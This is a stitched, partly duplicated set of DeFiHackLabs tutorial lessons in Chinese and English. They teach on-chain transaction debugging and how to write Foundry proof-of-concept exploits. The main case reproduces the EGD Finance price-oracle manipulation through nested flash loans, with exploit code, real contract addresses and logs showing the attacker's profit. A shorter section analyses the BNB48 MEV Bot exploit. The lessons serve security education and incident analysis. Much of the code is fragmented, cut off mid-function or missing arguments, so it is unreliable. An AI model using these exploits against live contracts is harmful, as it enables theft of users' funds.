        cheat.roll(20245539); //注意: 必须 fork 攻击 tx 的前一个 block,

因为此时受害合约状态尚未改变!!
    }
 
    function testExploit() public { // 必须为 test 开头命名, 才能被 Foundry 执行 testcase
        // 攻击前, 先 print 出余额, 已便于更好的观察 balance 变化
        emit log_named_decimal_uint("[Start] Attacker USDT Balance", IERC20(usdt).balanceOf(address(this)), 18);
        emit log_named_decimal_uint("[INFO] EGD/USDT Price before price manipulation", IEGD_Finance(EGD_Finance).getEGDPrice(), 18);
        emit log_named_decimal_uint("[INFO] Current earned reward (EGD token)", IEGD_Finance(EGD_Finance).calculateAll(address(exploit)), 18);
        
        console.log("Attacker manipulating price oracle of EGD Finance...");
        exploit.harvest(); //模拟 EOA 呼叫攻击合约
        console.log("-------------------------------- End Exploit ----------------------------------");
        emit log_named_decimal_uint("[End] Attacker USDT Balance", IERC20(usdt).balanceOf(address(this)), 18);
    }
}
/* -------------------- Interface -------------------- */
interface IEGD_Finance {
    function calculateAll(address addr) external view returns (uint);
}
```

<br>

Step3.

完成一部分的攻击合约

/* Contract 0x93c175439726797dcee24d08e4ac9164e88e7aee */
contract Exploit is Test{ // 攻击合约
    uint256 borrow1;

    function harvest() public {        
        console.log("Flashloan[1] : borrow 2,000 USDT from USDT/WBNB LPPool reserve");
        borrow1 = 2000 * 1e18;
        USDT_WBNB_LPPool.swap(borrow1, 0, address(this), "0000");
        console.log("Flashloan[1] payback success");
        IERC20(usdt).transfer(msg.sender, IERC20(usdt).balanceOf(address(this))); //获利了结
    }

	function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
        console.log("Flashloan[1] received");

        // 漏洞利用...

        // 漏洞利用结束, 把盗取的 EGD Token 换成 USDT
        console.log("Swap the profit...");
        address[] memory path = new address[](2);
        path[0] = egd;
        path[1] = usdt;
        IERC20(egd).approve(address(pancakeRouter), type(uint256).max);
        pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            IERC20(egd).balanceOf(address(this)),
            1,
            path,
            address(this),
        );

        bool suc = IERC20(usdt).transfer(address(USDT_WBNB_LPPool), 2010 * 10e18); //攻击者还款 2,000 USDT +

0.5% 服务费
        require(suc, "Flashloan[1] payback failed");
    }
}
```

<br>

---

让我们继续分析关键的漏洞利用部分...

我们可以看到在漏洞利用部分，攻击者再次呼叫了 `Pancakeswap.swap()`，似乎是进行第二层的闪电贷：

![Flashloan2](https://user-images.githubusercontent.com/26408530/211231489-4977bc1d-4ed0-45f8-b014-8de92942fe4f.png)

你可能会疑惑：Pancakeswap 都是透过 `.pancakeCall()` 介面回调攻击者的合约，攻击者是如何在两次回调中，执行不同的代码逻辑呢？

关键在于第一次闪电贷，攻击合约带入的 callbackData 是 `0x0000`

![FlashloanCallbackData1](https://user-images.githubusercontent.com/26408530/211231501-7b8e508a-a6fe-4f28-9308-5406d0dec32f.png)

而第二次闪电贷，攻击合约带入的 callbackData 是 `0x00`

![FlashloanCallbackData2](https://user-images.githubusercontent.com/26408530/211231506-e76cc110-3969-486d-b917-7ddec3d46ee5.png)

透过这种方式，攻击合约只需要判断 `_data` 参数是 0x0000 还是 0x00 即可执行不同的代码逻辑。

让我们继续分析第二层闪电贷回调的执行逻辑。

在第二层闪电贷回调，攻击者与 EGD Finance 互动，仅呼叫了 `claimAllReward()` 函数：

![CallClaimReward](https://user-images.githubusercontent.com/26408530/211231522-a54ef929-63e3-4b9c-8f0c-e609c2055b2c.png)

将 `claimAllReward()` 展开，会发现 EGD Finance 仅仅是读了 `0xa361-Cake-LP` 的 EGD Token 余额以及 USDT 余额，就将大量的

EGD Token 转出给攻击合约了！

![ClaimRewardDetail](https://user-images.githubusercontent.com/26408530/211231532-d9b0e7ce-ee65-48fb-a2eb-6fccbb799234.png)

<details><summary>0xa361-Cake-LP是什么合约？</summary>

我们可以透过 Etherscan 看 `0xa361-Cake-LP` 究竟是对应哪一个交易对。

方法一：直接在 [Etherscan](https://bscscan.com/address/0xa361433e409adac1f87cdf133127585f8a93c67d) 看该合约的前二个最大储备量 Token (快速)

![Etherscan-Top2](https://user-images.githubusercontent.com/26408530/211231654-613672c0-400d-4e53-891c-4c309d8ce84c.png)

方法二：[Read Contract](https://bscscan.com/address/0xa361433e409adac1f87cdf133127585f8a93c67d#readContract) 看 token0, token1 的地址 (准确)

<img width="404" alt="Etherscan-ReadContract" src="https://user-images.githubusercontent.com/26408530/211231545-43777f4e-6433-4dba-b2dc-ab54cd7aaeed.png">

现在，我们可以知道 `0xa361-Cake-LP` 指的是 EGD/USDT 交易对合约。

<br>

让我们分析 `claimAllReward()` 函数，看看漏洞在哪里。

<img width="1518" alt="ClaimRewardCode" src="https://user-images.githubusercontent.com/26408530/211231553-770e01d9-d809-43e1-99df-8674b0b30c8c.png">

我们可以发现到，使用者领取的 Staking

Reward 数量，取决于奖励因子 `quota` (代表用户 Staking 多少代币、Staking 多久时间) 乘上 `getEGDPrice()` 目前 EGD Token 的价格。

也就是说，合约给出的 EGD Staking Reward 会按照目前的 EGD Token 市价给予更多或更少的 Token 数量，**当 EGD Token 价格越高，则给予的 EGD Token 数量越少，当 EGD Token 价格越低，则给予的 EGD Token 数量越多**。

我们跟进 `getEGDPrice()` 函数，分析喂价机制：

<img width="529" alt="getEGDPrice" src="https://user-images.githubusercontent.com/26408530/211231565-596b32d8-cbb9-4f59-a53e-77d837d2766c.png">

可以看到喂价机制是采用 `x * y = k` 的公式，就如同我们在 ***价格预言机原理简介*** 描述的一样。

`pair` 地址即是 `0xa361-Cake-LP`，这也就能和我们在 Tx View 中看到的两组 STATICCALL 配对起来了。

![getEGDPrice_Static](https://user-images.githubusercontent.com/26408530/211231574-bb7a652d-3538-4ca1-859d-a30962014d44.png)

那么具体上来说，攻击者是如何利用这个不安全的价格参考进行价格操纵呢？

原理是，攻击者在第二层闪电贷，向 `EGD/USDT Pair` 借出 USDT；在攻击者还款之前，`getEGDPrice()` 取得到的价格资讯就会是不正确的。

参考示意图：

<img width="840" alt="PriceManipulationGraph" src="https://user-images.githubusercontent.com/26408530/211231586-305cd6f2-ddd3-42aa-8a4c-5ec5a7a40dd6.png">

**总结：攻击者透过闪电贷，抽走价格预言机的流动性，使 `ClaimReward()` 获取到不正确的价格参考，进而使攻击者可以领取到异常大量的 EGD Token。**

攻击者利用漏洞取得大量 EGD Token 后，将 EGD Token 透过

Pancakeswap 换回 USDT，获利了结。

---

截至目前为止，我们已完整分析攻击原理，让我们完成 Reproduce Code：

Step4. 完成第一次闪电贷的逻辑代码

    uint256 borrow2;

    }

        if(keccak256(data) == keccak256("0000")) {
            console.log("Flashloan[1] received");

            console.log("Flashloan[2] : borrow 99.99999925% USDT of EGD/USDT LPPool reserve");
            borrow2 = IERC20(usdt).balanceOf(address(EGD_USDT_LPPool)) * 9999999925 / 10000000000; //攻击者借出 EGD_USDT_LPPool 的 99.99999925% USDT 流动性
            EGD_USDT_LPPool.swap(0, borrow2, address(this), "00"); // Borrow

Flashloan[2]
            console.log("Flashloan[2] payback success");

            // 漏洞利用结束, 把盗取的 EGD Token 换成 USDT
            console.log("Swap the profit...");
            address[] memory path = new address[](2);
            path[0] = egd;
            path[1] = usdt;
            IERC20(egd).approve(address(pancakeRouter), type(uint256).max);
            pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
                IERC20(egd).balanceOf(address(this)),
                1,
                path,
                block.timestamp
            );

            bool suc = IERC20(usdt).transfer(address(USDT_WBNB_LPPool), 2010 * 10e18); //攻击者还款 2,000 USDT + 0.5% 服务费
            require(suc, "Flashloan[1] payback failed");
        } else {
            console.log("Flashloan[2] received");
            // 漏洞利用...
        }

    }
}
```

<br>

Step5. 完成第二次闪电贷(漏洞利用)的逻辑代码

       IERC20(usdt).transfer(msg.sender, IERC20(usdt).balanceOf(address(this))); //获利了结
    }

            EGD_USDT_LPPool.swap(0, borrow2, address(this), "00"); // Borrow Flashloan[2]

                1,
                path,
            );

            bool suc = IERC20(usdt).transfer(address(USDT_WBNB_LPPool), 2010 * 10e18); //攻击者还款 2,000

USDT + 0.5% 服务费
        } else {
            emit log_named_decimal_uint("[INFO] EGD/USDT Price after price manipulation", IEGD_Finance(EGD_Finance).getEGDPrice(), 18);
            // -----------------------------------------------------------------
            console.log("Claim all EGD Token reward from EGD Finance contract");
            IEGD_Finance(EGD_Finance).claimAllReward();
            emit log_named_decimal_uint("[INFO] Get reward (EGD token)", IERC20(egd).balanceOf(address(this)), 18);
            uint256 swapfee = amount1 * 3 / 1000;   // Attacker pay 0.3% fee to Pancakeswap
            bool suc = IERC20(usdt).transfer(address(EGD_USDT_LPPool), amount1+swapfee);
            require(suc, "Flashloan[2] payback failed");         
        }
    }
}
    function claimAllReward() external;
    function getEGDPrice() external view returns (uint);
}
```

<br>

若一切顺利，命令列 `forge test --contracts

./src/test/EGD-Finance.exp.sol -vvv` 就可以看到 Reproduce 执行结果与 Balance 变化了。

[DeFiHackLabs - EGD-Finance.exp.sol](/src/test/EGD-Finance.exp.sol)

```
Running 1 test for src/test/EGD-Finance.exp.sol:Attacker
[PASS] testExploit() (gas: 537204)
Logs:
  --------------------  Pre-work, stake 10 USDT to EGD Finance --------------------
  Tx: 0x4a66d01a017158ff38d6a88db98ba78435c606be57ca6df36033db4d9514f9f8
  Attacker Stake 10 USDT to EGD Finance
  -------------------------------- Start Exploit ----------------------------------
  [Start] Attacker USDT Balance: 0.000000000000000000
  [INFO] EGD/USDT Price before price manipulation: 0.008096310933284567
  [INFO] Current earned reward (EGD token): 0.000341874999999972
  Attacker manipulating price oracle of EGD Finance...
  Flashloan[1] : borrow 2,000 USDT from USDT/WBNB LPPool reserve
  Flashloan[1] received
  Flashloan[2] : borrow 99.99999925% USDT of EGD/USDT LPPool reserve
  Flashloan[2] received
  [INFO] EGD/USDT Price after price manipulation: 0.000000000060722331
  Claim all EGD Token reward from EGD Finance contract
  [INFO] Get reward (EGD token): 5630136.300267721935770000
 
 Flashloan[2] payback success
  Swap the profit...
  Flashloan[1] payback success
  -------------------------------- End Exploit ----------------------------------
  [End] Attacker USDT Balance: 18062.915446991996902763

Test result: ok. 1 passed; 0 failed; finished in 1.66s
```

> 注: DeFiHackLabs 提供的 EGD-Finance.exp.sol 有 Reproduce 攻击者的前置 Stacking 作业。
>
> 本教程未涵盖到前置动作，你可以自己练习看看！
> Attacker Stack Tx: 0x4a66d01a017158ff38d6a88db98ba78435c606be57ca6df36033db4d9514f9f8

第三课分享就先到这边，想学更多可以参考以下学习资源。

---
## 学习资源

[Tenderly.co - Debug Transaction](https://www.youtube.com/watch?v=90GN9Ut8LhU)

# OnChain Transaction Debugging: 3. Write Your Own PoC (Price Oracle Manipulation)

Author: [▓▓▓▓▓▓](https://twitter.com/h0wsO1)

Translation: [Simon](https://www.linkedin.com/in/tysliu/) ＆ [Helen](https://www.linkedin.com/in/helen-l-25b7a41a8/) 

In [01_Tools](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/01_tools/en), we learned how to use various tools to analyze transactions in smart contracts.

In  [02_Warm](https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/academy/onchain_debug/02_warmup/en/readme.md), we analyzed a transaction on a decentralized exchange using Foundry.

For this publication, we will analyze a hacker incident utilizing an oracle exploit. We’ll take you step-by-step through key function calls and then we’ll reproduce the attack together using the Foundry framework.

## Why is Reproducing Attacks Helpful?

At DeFiHackLabs we intend to promote Web3 security. We hope that when attacks happen, more people can analyze and contribute to overall security.

1. As unfortunate victims we improve our incident response and effectiveness.
2. As a whitehat we improve our ability in

writing PoCs and snatch bug bounties. 
3. Aid the blue team in adjusting machine learning models. Ie., [Forta Network](https://forta.org/blog/how-fortas-predictive-ml-models-detect-attacks-before-exploitation/).
4. You’ll learn much more from reproducing the attack compared to reading post-mortems.
5. Improve your overall Solidity ”Kung Fu“.

### Some Need-to-knows Before Reproducing Transactions

1. Understanding of common attack modes. Which we have curated in [DeFiVulnLabs](https://github.com/SunWeb3Sec/DeFiVulnLabs).
2. Understanding of basic DeFi mechanisms including how smart contracts interact with each other.

### DeFi Oracle Introduction

Currently, smart contract values such as pricing and configuration cannot update themselves. To execute its contract logic, external data is sometimes required during execution. This is typically done with the following methods.

1. Through externally owned accounts. We can calculate the price based on the reserves of these accounts.
2. Use an oracle, which is maintained by someone or even yourself. With external data updated periodically. ie., price, interest rate, anything. 

* For example, in Uniswap

V2, they provide the current price of the asset, which is used to determine the relative value of the asset being traded and thus execute the trade.

  * Following the figure, ETH price is the external data. The smart contract obtains it from Uniswap V2.

    We know the formula  `x * y = k` in a typical AMM. `x` ( ETH price in this case) =  `k / y`.

    So we take a look at the Uniswap V2 WETH/USDC trading pair contract. At this address `0xb4e16d0168e52d35cacd2c6185b44281ec28c9dc`.

* At the time of publication we see the following reserve values:

  * WETH: `33,906.6145928`  USDC: `42,346,768.252804` 

  * Formula: Applying the `x * y = k` formula will yield the price for each ETH:

     `42,346,768.252804 / 33,906.6145928 = 1248.9235`
     
   (Market prices may differ from the calculated price by a few cents. In most cases, this refers to a trading fee or a new transaction that affects the pool. This variance can be skimmed with `skim()`[^1].)

  * Solidity Pseudocode: For the lending contract to fetch the current ETH price, the pseudocode can be as the

following:

```
   > #### Please note this method of obtaining price is easily manipulated. Please do not use it in the production code.

[^1]: Skim() :
Uniswap V2 is a decentralized exchange(DEX) that uses a liquidity pool to trade assets. It has a `skim()`function as a safety measure to protect against potential issues from customized token implementations that may change the balance of the pair contract. However, `skim()`can also be used in conjunction with price manipulation.
Please see the figure for a full explanation of Skim().
![截圖 2023-01-11 下午5 08 07](https://user-images.githubusercontent.com/107821372/211970534-67370756-d99e-4411-9a49-f8476a84bef1.png)
Image source / [Uniswap V2 Core whitepaper](https://uniswap.org/whitepaper.pdf)

* For more information, you could following bellow the resources
  * Uniswap V2 AMM mechanisms: [Smart Contract

Programmer](https://www.youtube.com/watch?v=Ar4Ik7Bov0U).
  * Oracle manipulation: [WTFSolidity](https://github.com/WTFAcademy/WTF-Solidity/blob/main/S15_OracleManipulation/readme.md).

### Oracle Price Manipulation Attack Modes

Most common attack modes:

1. Alter the oracle address
    * Root cause: lack of verification mechanism
    * For example: [Rikkei Finance](https://github.com/SunWeb3Sec/DeFiHackLabs#20220415-rikkei-finance---access-control--price-oracle-manipulation)
2. Through flash loans, an attacker can drain liquidity, resulting in wrong pricing information in an oracle.
    * This is most often seen in attackers calling these functions. GetPrice、Swap、StackingReward, Transfer(with burn fee), etc.
    * Root cause: Protocols using unsafe/compromised oracles, or the oracle did not implement time-weighted average price features.
    * Example: [One Ring Finance](https://github.com/SunWeb3Sec/DeFiHackLabs#20220321-onering-finance---flashloan--price-oracle-manipulation)

    >  Protip-case 2: During code review ensure the function`balanceOf()`is well guarded.
---
## Step-by-step PoC - An Example from EGD Finance

###

Step 1: Information gathering

* Upon discovery of an attack. Twitter will often be the front line of the aftermath. Top DeFi analysts will continuously publish their new findings there.

> Protip: Join the [DeFiHackLabs Discord](https://discord.gg/Fjyngakf3h) security-alert channel to receive curated updates from top DeFi analysts!

* Upon an attack incident, it is important to gather and organize the newest information. Here is a template!
  1. Transaction ID
  2. Attacker Address(EOA)
  3. Attack Contract Address
  4. Vulnerable Address
  5. Total Loss
  6. Reference Links
  7. Post-mortem Links
  8. Vulnerable snippet
  9. Audit History

> Protip: Use the [Exploit-Template.sol](/script/Exploit-template.sol) template from DeFiHackLabs.
---
### Step 2: Transaction Debugging

Based on experience, 12 hours after the attack, 90% of the attack autopsy will have been completed. It’s usually not too difficult to analyze the attack at this point.

* We will use a real case of [EGD Finance Exploit attack](https://twitter.com/BlockSecTeam/status/1556483435388350464) as an example, to help you understand :
  1. the risk in oracle manipulation.
  2. how to profit from oracle

manipulation.
  3. flash loans transaction.
  4. how attackers reproduce by only 1 transaction to accomplish the attack.

* Let's use [Phalcon](https://phalcon.blocksec.com/tx/bsc/0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3) from Blocksec to analyze the EGD Finance incident.
<img width="1644" alt="Screenshot 2023-01-11 at 4 59 15 PM" src="https://user-images.githubusercontent.com/107821372/211762771-d2c54800-4595-4630-9392-30431094bfca.png">

* In Ethereum EVM, you will see 3 call types to trigger remote functions:
  1. Call: Typical cross-contract function call, will often change the receiver’s storage.
  2. StaticCall: Will not change the receiver’s storage, used for fetching state and variables.
  3. DelegateCall: `msg.sender`  will remain the same, typically used in proxying calls. Please see [WTF Solidity](https://github.com/WTFAcademy/WTF-Solidity/tree/main/23_Delegatecall) for more details.

> Please note, internal function calls[^2] are not visible in Ethereum EVM.
[^2]: Internal function calls are invisible to the blockchain since they don't create any new transactions or blocks. In this way, they cannot be

read by other smart contracts or show up in the blockchain transaction history.
* Further Information - Attackers Flash loan attack mode
  1. Check if the attack will be profitable. First, ensure loans can be obtained, then ensure the target has enough balance.
     - This means you will see some 'static calls' in the beginning.
  2. Use DEX or Lending Protocols to obtain a flash loan, look for the following key function calls
     - UniswapV2, Pancakeswap: `.swap()`
     - Balancer: `flashLoan()`
     - DODO: `.flashloan()`
     - AAVE: `.flashLoan()`
  3. Callbacks from flash loan protocol to attacker’s contract, look for the following key function calls
        - UniswapV2: `.uniswapV2Call()`
        - Pancakeswap: `.Pancakeswap()`
        - Balancer: `.receiveFlashLoan()`
        - DODO: `.DXXFlashLoanCall()`
        - AAVE: `.executeOperation()`
   4. Execute the attack to profit from contract weakness.
   5. Return the flash loan

### Practice: 

Identify various stages of the EGD Finance Exploit attack on [Phalcon](https://phalcon.blocksec.com/tx/bsc/0x50da0b1b6e34bce59769157df769eb45fa11efc7d0e292900d6b0a86ae66a2b3). More specifically ‘flashloan‘, ’callback‘, ’weakness‘, and ’profit’.

<img

width="1898" alt="TryToDecodeFromYourEyes" src="https://user-images.githubusercontent.com/26408530/211231441-b5cd2cd8-a438-4344-b014-6b8e92ab2532.png">

>Protip: If you are unable to understand the logic of individual function calls. Try tracing through the entire call stack sequentially, take notes, and pay special attention to the money trail. You’ll have a much better understanding after doing this a few times.
<details><summary>The Answer</summary>

<img width="1589" alt="Screenshot 2023-01-12 at 1 58 02 PM" src="https://user-images.githubusercontent.com/107821372/211996295-063f4c64-957a-4896-8736-c4dbbc082272.png">

### Step 3: Reproduce code
After analysis of the attack transaction function calls, let’s now try to reproduce some code:

#### Step A. Complete fixtures.

<details><summary>Click to show the code</summary>
 
// Attack Contract :

0xc30808d9373093fbfcec9e026457c6a9dab706a7

// @Info

// Blocksec : https://twitter.com/BlockSecTeam/status/1556483435388350464

// Declaring a global variable must be of constant type.
IPancakeRouter constant pancakeRouter =

IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));

contract Attacker is Test { // simulated attacker(EOA)

    constructor() { // can also be replaced with ‘function setUp() public {}
        // Labels can be used to tag wallet addresses, making them more readable when using the 'forge test -vvvv' command."
        cheat.roll(20245539); //Note: The attack transaction must be forked from the previous block, as the victim contract state has not yet been modified at this time.
       
       console.log("-------------------------------- Start Exploit ----------------------------------");
    }
}
```
<br>

#### Step B. Simulate an attacker calling the harvest function

        // Labels can be used to tag wallet addresses, making them more readable when using the 'forge test -vvvv' command.
        cheat.roll(20245539); //The attack transaction must be forked from the previous block, as the victim contract state has not yet been modified at this time.
    }
 
    function

testExploit() public { // To be executed by Foundry testcases, it must be named "test" at the start.
        //To observe the changes in the balance, print out the balance first, before attacking.
        
        exploit.harvest(); //A simulation of an EOA call attack
    }
}
}
```
<br>

#### Step C. Complete part of the attack

contract

contract Exploit is Test{ // attack contract

        IERC20(usdt).transfer(msg.sender, IERC20(usdt).balanceOf(address(this))); //獲利了結
    }

        // Weakness exploit...

        // Exchange the stolen EGD Token for USDT
            1,
            path,
        );

        bool suc =

IERC20(usdt).transfer(address(USDT_WBNB_LPPool), 2010 * 10e18); //Attacker repays 2,000 USDT + 0.5% service fee
    }
}
```

<br>

### Step 4: Analyzing the exploit

We see here the attacker called `Pancakeswap.swap()` function to take advantage of the exploit, looks like there is a second flash loan call in the call stack.

* Pancakeswap uses the `.pancakeCall()` interface to perform a callback on the attacker’s contract. You might be wondering how the attacker is executing different codes during each of the two callbacks.

The key is in the first flash loan, the attacker used `0x0000` in callback data.

However, during the second flash loan, the attacker used `0x00` in callback

data.

Through this method, an attacking contract can determine what code to execute based on the `_data` parameter. Which could be either 0x0000 or 0x00.

* Let's continue with analyzing the second callback logic during the second flash loan.

During the second callback, the attacker only called `claimAllReward()` from EGD Finance:

Further expanding the `claimAllReward()` call stack. You’ll find EGD Finance performed a read on `0xa361-Cake-LP` for the balance of EGD Token and USDT, then transferred a large amount of EGD Token to the attacker’s contract.

<details><summary>What is the '0xa361-Cake-LP' contract?</summary>

Using Etherscan, we can see what trading pair `0xa361-Cake-LP` corresponds to.

* Option 1(faster)： View the first

two largest reserve tokens of the contract in [Etherscan](https://bscscan.com/address/0xa361433e409adac1f87cdf133127585f8a93c67d) 

* Option 2(accurate)：[Read Contract](https://bscscan.com/address/0xa361433e409adac1f87cdf133127585f8a93c67d#readContract) Check the address of token0 and token1.

This indicates that `0xa361-Cake-LP` is the EGD/USDT trading pair contract。

<br>

* Let's analyze the `claimAllReward()`  function to see where the exploit lies.

We see that the amount of Staking Reward is based on the reward`quota` factor (Meaning the amount of staking, and duration of staking) multiplied by `getEGDPrice()` the current EGD token price.

**In

return this means, the EGD Staking Reward is based on the price of the EGD Token. Less reward is yielded on a high EGD Token price and vice versa.**

* Now let's check how the `getEGDPrice()` function gets the current price of EGD Token:

We see the all-familiar equation `x * y = k` like the one we introduced earlier in the DeFi oracle introduction section, to obtain the current price. The address of the trading `pair`  is `0xa361-Cake-LP` which matches the two STATICCALLs from the transaction view.

So how is the attacker taking advantage of this unsafe method of getting current prices?

The underlying mechanism is such that, from the second flash loan the attacker borrowed a large amount of USDT, therefore influencing the pool price based on the `x * y = k` formula. Before returning the loan, the `getEGDPrice()`  will be incorrect.

Reference diagram:
![CleanShot 2023-01-12 at 17 01

46@2x](https://user-images.githubusercontent.com/107821372/212027306-3a7f9a8c-4995-472c-a8c7-39e5911b531d.png)
**Conclusion:  The attacker used a flash loan to alter the liquidity of the EGD/USDT trading pair, resulting in `ClaimReward()` getting an incorrect price, allowing the attacker to obtain an obscene amount of EGD tokens.**

Finally, the attacker exchanged EGD Token using Pancakeswap for USDT, thus profiting from the attack.

---
### Step 5: Reproduce
Now that we’ve fully understood the attack, let's reproduce it:

Step D. Write the PoC code for the attack

        IERC20(usdt).transfer(msg.sender, IERC20(usdt).balanceOf(address(this))); //Profit realization
    }

	function

pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {

            borrow2 = IERC20(usdt).balanceOf(address(EGD_USDT_LPPool)) * 9999999925 / 10000000000; //The attacker lends 99.99999925% of the USDT liquidity of the EGD_USDT_LPPool.

            // 漏洞利用結束, 把盜取的 EGD Token 換成 USDT
                1,
                path,
            );

            bool suc = IERC20(usdt).transfer(address(USDT_WBNB_LPPool), 2010 * 10e18); //The attacker repays 2,000 USDT + 0.5% service fee.
            require(suc, "Flashloan[1] payback

failed");
        } else {
            // Exploitation...
        }

    }
}
```

<br>

Step E. Write the PoC code for the second flash loan using the exploit

        IERC20(usdt).transfer(msg.sender, IERC20(usdt).balanceOf(address(this))); //Gaining profit
    }

            borrow2 = IERC20(usdt).balanceOf(address(EGD_USDT_LPPool)) * 9999999925 / 10000000000;

//The attacker lends 99.99999925% of the USDT liquidity of the EGD_USDT_LPPool.

            // Exchange the stolen EGD Token for USDT after the exploit is over.
                1,
                path,
            );

        } else {
           
           IEGD_Finance(EGD_Finance).claimAllReward();
        }
    }
}
}
```

<br>

Step F.Execute the code with `forge test --contracts ./src/test/EGD-Finance.exp.sol -vvv`Pay attention to the change in balances.

[DeFiHackLabs - EGD-Finance.exp.sol](https://github.com/finn79426/DeFiHackLabs/blob/main/src/test/EGD-Finance.exp.sol)

```
Logs:
  --------------------  Pre-work, stake 10 USDT to EGD Finance

--------------------
  Flashloan[2] payback success

```

Note: EGD-Finance.exp.sol from

DeFiHackLabs includes a preemptive step which is staking.

This write-up does not include this step, feel free to try it yourself! Attacker Stack Tx: 0x4a66d01a017158ff38d6a88db98ba78435c606be57ca6df36033db4d9514f9f8

#### The third sharing will conclude here, if you wish to learn more, check out the links below.

---
### Learning materials

[https://web3sec.xrex.io/](https://web3sec.xrex.io/)

---
### Appendix

# OnChain Transaction Debugging: 4. Write your own POC - MEV Bot

## 手把手撰写 PoC - 以 MEV Bot (BNB48) 为例
- 前情提要
    - 20220913 有一个 MEV Bot 被攻击者发现漏洞进而将合约上的资产都转走，共损失约 $140K.

    - 攻击者透过 BNB48 验证节点发送隐私交易，类似于 Flashbot 不把交易放入公开 mempool 避免被抢跑攻击.
    
- 分析
    - 攻击者发动攻击的 [TXID](https://bscscan.com/tx/0xd48758ef48d113b78a09f7b8c7cd663ad79e9965852e872fdfc92234c3e598d2)，MEV Bot合约未开源，如何利用的?
    - 透过 [phalcon](https://phalcon.blocksec.com/tx/bsc/0xd48758ef48d113b78a09f7b8c7cd663ad79e9965852e872fdfc92234c3e598d2) 来分析看看，从金流的部分可到这笔交易将 MEV bot 转移了 6 种资产到攻击者钱包上，如何利用的?
![图片](https://user-images.githubusercontent.com/52526645/211201079-e7c5cc3b-64f8-4146-ab0e-7dd46b535cc9.png)
    - 再来换看看 Function call 调用流程，看到刚好也调用了 6 次 `pancakeCall` 函式.
        - From: `0xee286554f8b315f0560a15b6f085ddad616d0601`
        - 攻击者合约: `0x5cb11ce550a2e6c24ebfc8df86c5757b596e69c1`
        - MEV Bot合约: `0x64dd59d6c7f09dc05b472ce5cb961b6e10106e1d`
 ![图片](https://user-images.githubusercontent.com/52526645/211201456-8b6f7bca-677d-40a2-b81b-fd6af18f94fd.png)
    - 我们展开其中一个 `pancakeCall` 看看，可以看到回调到攻击者的合约读取了 token0()的值为

BSC-USD，紧接者就进行 transfer BSC-USD 到攻击者的钱包，看到这边可以知道攻击者可能有权限或透过漏洞把 MEV Bot 合约上的资产都搬走，接下来就要找出攻击者是怎么利用的?
    ![图片](https://user-images.githubusercontent.com/52526645/211201744-9895803a-5f72-4f14-b147-b67b204bee75.png)
    - 因为前面有提到 MEV Bot 合约未开源，所以这边我们可以使用[第一课](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/01_tools)介绍的反编译工具 [Dedaub](https://library.dedaub.com/decompile)，来分析看看可不可以发现到什么. 首先先到 [Bscscan](https://bscscan.com/address/0x64dd59d6c7f09dc05b472ce5cb961b6e10106e1d#code) 上把合约 bytecodes 贴到 Dedaub 反编译，如下图我们可以看到 `pancakeCall` 函式权限设定为 public，就是公开每个人都可以调用，在闪电贷的回调公开是很正常应该没太大问题，但是可以看到红色框起来的地方，执行了一个 `0x10a` 函示，再往下追看看.
    ![图片](https://user-images.githubusercontent.com/52526645/211202573-b4a4847d-a617-42c8-84d0-0f2dbd38a632.png)
   - `0x10a` 函示逻辑如下图，可以看到关键看到红色框起来的地方，先读取攻击者合约上的 token0 是什么代币然后带入转帐函式 `transfer`，在函式中第一个参数接收者地址 `address(MEM[varg0.data])` 是在 `pancakeCall` 的 `varg3 (_data)` 可被控制的，所以关键漏洞问题就在这边.
   
<div align=center>
<img src="https://user-images.githubusercontent.com/52526645/211204177-fbebe377-23b0-4b0c-bb3e-dcb64dba2afc.png"

alt="Cover" width="80%"/>
</div>

   - 再来回头看看攻击者呼叫 `pancakeCall`的 payload，`_data` 带入的前 32 bytes 就是收款方的钱包地址.

<img src="https://user-images.githubusercontent.com/52526645/211453390-502db65b-cf82-4805-a463-04fc5c7e0dce.png" alt="Cover" width="80%"/>
</div>

- 开发 POC
    - 通过以上分析攻击流程后，开发 POC 的合约的逻辑就是呼叫 MEV bot 合约的 `pancakeCall` 然后带入对应的参数，关键是 `_data` 指定收款钱包地址，再来是合约中要有 token0，token1 函式来满足合约逻辑. 自己可以动手写写看. 
    - 解答: [POC](https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/BNB48MEVBot_exp.sol) 参考.
    
<img src="https://user-images.githubusercontent.com/52526645/211204852-4fa65835-17f7-4c91-80ab-79f5b46125df.png" alt="Cover" width="80%"/>
</div>

## 延伸学习
- Foundry trace
    - 使用 Foundry 也可以列出该笔交易的 function traces，使用方式如下:
    
    `cast run 0xd48758ef48d113b78a09f7b8c7cd663ad79e9965852e872fdfc92234c3e598d2 --quick --rpc-url https://rpc.ankr.com/bsc`

<img src="https://user-images.githubusercontent.com/52526645/211562868-12fde773-948c-47a9-acaf-6f744438925e.png" alt="Cover" width="80%"/>
</div>

- Foundry debug
    - 也可以使用 Foundry 来

debug transaction，使用方式如下:  
    
    `cast run 0xd48758ef48d113b78a09f7b8c7cd663ad79e9965852e872fdfc92234c3e598d2 --quick --debug  --rpc-url https://rpc.ankr.com/bsc`

<img src="https://user-images.githubusercontent.com/52526645/211565713-fdf3784f-da54-42e8-ad60-591ecac38c15.png" alt="Cover" width="80%"/>
</div>

## 学习资源

[Flashbots: Kings of The Mempool](https://noxx.substack.com/p/flashbots-kings-of-the-mempool?utm_source=profile&utm_medium=reader2)

[MEV Markets Part 1: Proof of Work](https://mirror.xyz/0xshittrader.eth/WiV8DM3I6abNMVsXf-DqioYb2NglnfjmM-zSsw2ruG8)

[MEV Markets Part 2: Proof of Stake](https://mirror.xyz/0xshittrader.eth/c6J_PCK87K3joTWmLEtG6qVN6BFXLBZxQniReYSEjLI)

[MEV Markets Part 3: Payment for Order Flow](https://mirror.xyz/0xshittrader.eth/f2VSuoZ91vAbCv82MtWM-Gosyf_DeUXfPlDx3EYV3RM)

